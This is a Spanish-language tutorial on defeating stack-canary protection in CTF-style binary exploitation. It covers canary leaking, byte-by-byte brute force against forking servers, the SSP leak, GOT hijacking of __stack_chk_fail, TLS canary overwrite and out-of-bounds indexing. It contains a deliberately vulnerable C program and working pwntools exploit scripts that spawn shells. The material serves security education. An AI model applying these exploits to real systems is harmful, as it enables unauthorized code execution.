La protección contra desbordamientos de pila es crucial en el desarrollo de software seguro. Una de las defensas más comunes es el mecanismo "Canary", diseñado para detectar y prevenir ataques de desbordamiento de pila al colocar un valor aleatorio (el "canario") en la pila antes de la dirección de retorno. Si este valor se modifica, el programa detecta la intrusión y se aborta.
Funcionamiento Básico del Canary
El nombre "Canary" proviene de los canarios que se usaban en las minas de carbón para detectar fugas de gas. De manera similar, este mecanismo actúa como una alerta temprana contra desbordamientos de pila. Al inicio del programa, se genera un valor aleatorio único para cada ejecución del proceso, que se almacena en segmentos específicos de la memoria (segmento GS en 32 bits, FS en 64 bits). Es importante notar que, aunque el valor es único por proceso, todos los hilos dentro del mismo proceso comparten el mismo valor Canary.
En arquitecturas de 64 bits, el Canary se sitúa típicamente en la pila, justo encima del puntero base (RBP). Sin embargo, la posición exacta puede variar según las optimizaciones del compilador. Una característica distintiva del Canary en su representación hexadecimal es que a menudo termina con un byte nulo (\x00). En memoria, al ser leído en formato little-endian, este byte nulo puede causar una truncación de cadena si se intenta imprimir el Canary, previniendo así su filtración acciedntal mediante funciones como printf().
Si un atacante intenta sobrescribir la dirección de retorno de una función mediante un desbordamiento de pila, inevitablemente sobrescribirá el valor del Canary. La detección de esta manipulación activa la función __stack_chk_fail(), provocando la terminación inmediata del programa y frustrando el intento de explotación.
La detección de un desbordamiento de pila con Canary activo se manifiesta típicamente con el mensaje: *** stack smashing detected ***: terminated.
El compilador GCC permite configurar el nivel de protección Canary mediante banderas:
-fstack-protector: Habilita la protección solo para funciones con arreglos de caracteres locales.-fstack-protector-all: Habilita la protección para todas las funciones.-fstack-protector-strong: Una opción de protección más robusta que las anteriores.-fstack-protector-explicit: Habilita la protección solo para funciones marcadas explícitamente con el atributostack_protect.-fno-stack-protector: Deshabilita completamente la protección Canary.
Sobrescribir el Byte Inferior del Canary (Fuga de Información)
Como se mencionó, el Canary se almacena en formato little-endian y a menudo termina con \x00. Esta característica, diseñada para truncar cadenas y evitar la fuga, puede ser explotada si se logra sobrescribir precisamente ese byte nulo. Al modificar este byte, la cadena ya no se truncará, permitiendo que funciones como printf() revelen el valor del Canary.
Ejemplo de Código C (Compilación de 32 bits)
Consideremos el siguiente código C:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int getshell() {
system("/bin/sh\x00");
return 0;
}
int init_func() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
return 0;
}
int vuln_func() {
char buf[100];
for(int i = 0; i < 2; i++){
read(0, buf, 0x200);
printf(buf);
}
return 0;
}
int main() {
init_func();
puts("Welcome to Pwn World!");
vuln_func();
return 0;
}
// Compilar con: gcc -m32 stack_string_leak.c -no-pie -o stack_string_leak_x86
El Canary se obtiene del segmento GS y se almacena en la pila, cerca del puntero RBP.
Al interactuar con la función read(), si proporcionamos una entrada que exceda la longitud del buffer buf, pero que no llegue a sobrescribir completamente el Canary, podemos observar la salida de printf(). El envío de un payload de 0x64 bytes, seguido por un carácter de nueva línea (\x0a) añadido automáticamente por sendline(), puede sobrescribir el byte nulo del Canary con \x0a. La salida de printf() mostrará los datos introducidos, seguidos por los bytes restantes del Canary modificado.
Restando 0x0a del valor revelado se obtiene el valor original del Cenary. Dado que el Canary permanece constante durante la ejecución del proceso, este valor puede ser utilizado en el segundo envío para reconstruir el valor original del Canary en la pila, eludiendo así la detección del desbordamiento y permitiendo sobrescribir la dirección de retorno para apuntar a la función getshell().
Script de Explotación (Python con pwntools)
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './stack_string_leak_x86'
io = process(file)
elf = ELF(file)
getshell_addr = elf.symbols['getshell']
payload = b'a' * 0x64
io.sendline(payload)
io.recvuntil(b'a' * 0x64)
# Se resta 0xa porque sendline añade un newline y sobrescribe el último byte del canary.
canary = u32(io.recv(4)) - 0xa
# Canary + 0xc bytes para alcanzar la dirección de retorno
payload = flat([b'a' * 0x64, canary, b'a' * 0xc])
payload += p32(getshell_addr)
io.sendline(payload)
io.recv() # Recepción para asegurar que el programa ha terminado o está interactivo
io.interactive()
Adivinación Secuencial del Canary (Byte a Byte)
En escenarios típicos, la adivinación del Canary es inviable debido a que cada intento fallido provoca el reinicio del programa con un nuevo valor aleatorio. Sin embargo, si el programa utiliza la función fork() para crear múltiples procesos hijos, se presenta una situación ventajosa:
- Todos los procesos hijos heredan la misma estructura de pila y el mismo valor Canary que el proceso padre.
- El fallo de un proceso hijo no afecta al proceso padre.
Esto permite realizar ataques de adivinación secuencial en los procesos hijos. Se prueba cada posible valor para cada byte del Canary hasta encontrar la combinación que no cause la terminación del proceso hijo, revelando así el valor correcto del Canary y permitiendo la evasión de la protección.
Ejemplo: Adivinación en un Proceso con fork()
Consideremos un escenario donde un programa crea un proceso hijo para manejar cada conexión de red. El objetivo es adivinar el Canary byte a byte.
def exploit_canary_bruteforce():
global canary_value
canary_value = b'\x00' # El primer byte de un Canary suele ser nulo
while len(canary_value) < 8: # Se adivinan 8 bytes para un Canary de 64 bits
for byte_try in range(256): # Probamos cada valor posible (0-255)
# Conectarse al servidor, lo que provoca la creación de un hijo
io = remote('127.0.0.1', 5555)
io.recv() # Recibir prompt inicial
# Construir payload: 'a' * offset + canary parcial + byte a probar
# El offset (0x68) debe ser calculado previamente
payload_part = flat([b'a' * 0x68, canary_value, bytes([byte_try])])
io.send(payload_part)
try:
# Si la conexión se mantiene abierta, el byte es correcto
io.recv(timeout=1)
canary_value += bytes([byte_try])
break # Pasar al siguiente byte
except EOFError:
# Si la conexión se cierra, el byte es incorrecto
continue
finally:
io.close()
# El valor de canary_value se irá construyendo globalmente
# exploit_canary_bruteforce()
# Una vez conocido el canary, se construye el payload final para obtener el flag/shell
# payload_final = flat([b'a' * 0x68, canary_value, b'a' * 8, shellcode_addr])
# io.send(payload_final)
- La función
bytes([byte_try])convierte el enterobyte_tryen un objeto de bytes. - Se utiliza
send()en lugar desendline()para evitar añadir el carácter de nueva línea no deseado. - Es necesario que el programa vulnerable esté corriendo y escuchando en el puerto especificado.
Una vez adivinado el Canary, se construye el payload final para sobrescribir la dirección de retorno con la dirección de una función (ej. sub_400BC6 en el ejemplo original) que permita obtener el flag o ejecutar un shell.
SSP Leak: Filtración de Direcciones a Través de __stack_chk_fail
La técnica "Stack Smashing Protect Leak" (SSP Leak) aprovecha el mensaje de error que se genera al activarse la protección Canary. Específicamente, explota cómo las versiones antiguas de glibc (anteriores a la 2.26 y con correcciones en versiones posteriores como 2.35) manejan la función __stack_chk_fail(). Esta función, al ser llamada, invocaba a __fortify_fail(), la cual imprimía tanto un mensaje fijo como el contenido de __libc_argv[0] (generalmente el nombre del programa).
Si un atacante puede modificar la dirección almacenada en __libc_argv[0] para que apunte a una dirección de memoria arbitraria, la salida del mensaje de error revelará el contenido de esa dirección. Esto permite la lectura de datos en memoria, aunque no directamente la obtención de un shell.
En versiones más recientes de glibc (a partir de la 2.26), el comportamiento cambió, y en la 2.35, __libc_argv[0] ya no se utiliza de esta manera, invalidando esta técnica.
Ejemplo de Explotación SSP Leak
El proceso general implica:
- Desencadenar el Canary para activar
__stack_chk_fail(). - Sobrescribir
__libc_argv[0]con la dirección de una entrada en la tabla GOT (ej. la dereadoenviron) para filtrar direcciones. - Calcular la base de libc y la dirección de variables de interés (como
environpara ubicar la pila) o direcciones de funciones críticas. - Utilizar la información filtrada para construir un payload que lea datos sensibles (como el flag, que puede estar cifrado y requerir des-cifrado usando un ID aleatorio previamente filtrado).
El script de explotación seguiría pasos similares a:
- Enviar un payload para sobrescribir
__libc_argv[0]con la dirección GOT deread, provocando la impresión de la dirección real deread. - Calcular la base de libc y la dirección de
environ. - Enviar un payload para sobrescribir
__libc_argv[0]con la dirección deenviron, filtrando la dirección base de la pila donde se almacenan las variables de entorno. - Calcular la dirección donde se almacena el flag en la pila.
- Enviar un payload final para sobrescribir
__libc_argv[0]con la dirección del flag cifrado, obtener el flag cifrado y el ID aleatorio, y luego desencriptarlo.
Secuestro de __stack_chk_fail
Otra forma de eludir la protección Canary es secuestrar la función __stack_chk_fail(). En lugar de dejar que el programa falle, se puede redirigir su ejecución, aprovechando un desbordamiento de pila y una vulnerabilidad de formato de cadena (format string vulnerability).
Si existe un desbordamiento que permite sobrescribir la dirección de retorno y, simultáneamente, una vulnerabilidad de formato de cadena que permite escribir en la tabla GOT, se puede modificar la entrada de __stack_chk_fail en la GOT para que apunte a una función maliciosa (como una función "backdoor"). Al activarse el Canary, la llamada a __stack_chk_fail() ejecutará en su lugar la función backdoor.
Ejemplo de Secuestro de __stack_chk_fail
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './r2t4' # Nombre del ejecutable vulnerable
io = process(file)
elf = ELF(file)
# Obtener las direcciones necesarias
stack_chk_fail_got = elf.got['__stack_chk_fail']
backdoor_addr = elf.symbols['backdoor'] # Dirección de la función backdoor
# Generar payload de formato de cadena para sobrescribir la GOT
# El primer argumento (6) es el índice del primer argumento en la pila para fmtstr_payload
# El diccionario mapea la dirección de la GOT a la dirección de la función backdoor
payload = fmtstr_payload(6, {stack_chk_fail_got : backdoor_addr})
io.sendline(payload)
io.recv() # Recepción para asegurar que el programa ha procesado el payload
io.interactive() # Interactuar con el programa resultante
Control del Canary Mediante Estructuras TLS (Thread Local Storage)
Las estructuras TLS proporcionan almacenamiento de datos privado para cada hilo. En glibc, ciertas implementaciones de la creación de hilos (particularmente con pthread_create) pueden almacenar el valor Canary de un hilo en una ubicación de memoria inesperadamente alta. Si la función que actúa como "función de hilo" tiene un desbordamiento de buffer lo suficientemente grande, es posible sobrescribir el Canary almacenado en la estructura TLS.
Las condiciones para este ataque son:
- La función vulnerable debe ser una función de hilo creada explícitamente con
pthread_create. - El buffer de desbordamiento debe ser considerablemente grande, a menudo del tamaño de una página de memoria (4KB).
En arquitecturas de 64 bits, el TLS es referenciado por el registro FS, y el Canary se encuenrta típicamente en FS:0x28. En 32 bits, es GS y GS:0x14.
La estructura tcbhead_t (Thread Control Block) en glibc contiene el campo stack_guard, que almacena el valor del Canary. El desafío es que, a partir de glibc-2.28, la disposición de esta estructura puede ser aleatorizada, requiriendo técnicas adicionales de filtración de información para determinar la ubicación exacta del stack_guard.
Ejemplo: Borde de Página y TLS
Consideremos un escenario donde un hilo tiene un buffer de 0x1000 bytes y se crea con pthread_create. El objetivo es construir un payload que:
- Desborde el buffer hasta la posición del Canary en la pila normal.
- Continúe desbordando hasta la posición del Canary en la estructura TLS.
- Iguale ambos valores (el Canary de la pila y el Canary TLS) para que el programa no detecte la manipulación.
- Posteriormente, ejecute código arbitrario (ej. una llamada a
system("/bin/sh")).
Esto a menudo implica usar técnicas como leave; ret para migrar la pila a una ubicación controlada (como el segmento BSS) y luego construir un payload allí. La explotación requiere una cuidadosa determinación de los offsets entre el buffer de desbordamiento, el Canary de la pila y el Canary TLS.
Indexación de Arreglo Fuera de Límites para Eludir Canary
Si un programa utiliza un arreglo en la pila sin realizar comprobaciones adecuadas de límites de índice, es posible acceder y modificar direcciones de memoria más allá del final del arreglo. Si la dirección de retorno de la función reside dentro de este espacio "extendido", se puede sobrescribir directamente.
Por ejemplo, si se tiene un arreglo arr[4], normalmente se puede acceder a arr[0], arr[1], arr[2] y arr[3]. Sin embargo, sin validación, un acceso a arr[7] podría, en el contexto de la pila, modificar la dirección de retorno de la función.
Ejemplo: Indexación Fuera de Límites
En el siguiente ejemplo, una función permite al usuario ingresar un valor para v2[0] y luego un nombre (cadena) que se escribe en v3[8 * v2[0]]. Si se elige un valor para v2[0] que haga que el índice 8 * v2[0] sea lo suficientemente grande, se puede sobrescribir la dirección de retorno.
Observando la disposición de la pila, la distancia desde el inicio del arreglo v3 hasta la dirección de retorno es de 0x38 bytes. Para alcanzar la dirección de retorno, el índice efectivo debe ser 0x38 / 8 = 0x7. Por lo tanto, al establecer v2[0] = 7, el siguiente intento de escritura accederá a la dirección de retorno, permitiendo que sea sobrescrita con la dirección de la función shell().
Script de Explotación (Python)
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './wustctf2020_name_your_cat' # Nombre del ejecutable vulnerable
io = process(file)
elf = ELF(file)
# Dirección de la función 'shell'
shell_addr = elf.symbols['shell']
# Función auxiliar para interactuar con el programa
def NameWhich(v2_value, input_str):
io.recvuntil(b'>')
io.sendline(v2_value)
io.recvuntil(b'Give your name plz: ')
io.sendline(input_str)
# Iteramos 5 veces. La última vez es la crucial para sobrescribir el retorno.
for i in range(5):
if i == 4: # En la última iteración, sobrescribimos el retorno
NameWhich(b'7', p32(shell_addr)) # v2[0] = 7, p32(shell_addr) para sobrescribir la dirección de retorno
else:
NameWhich(b'0', b'a') # Valores dummy en iteraciones anteriores
io.interactive() # Interactuar con el programa después de la explotación
Este script demuestra cómo, mediante una indexación de arreglo maliciosa y sin comprobación de límites, se puede eludir la protección Canary y redirigir la ejecución a una función controlada por el atacante.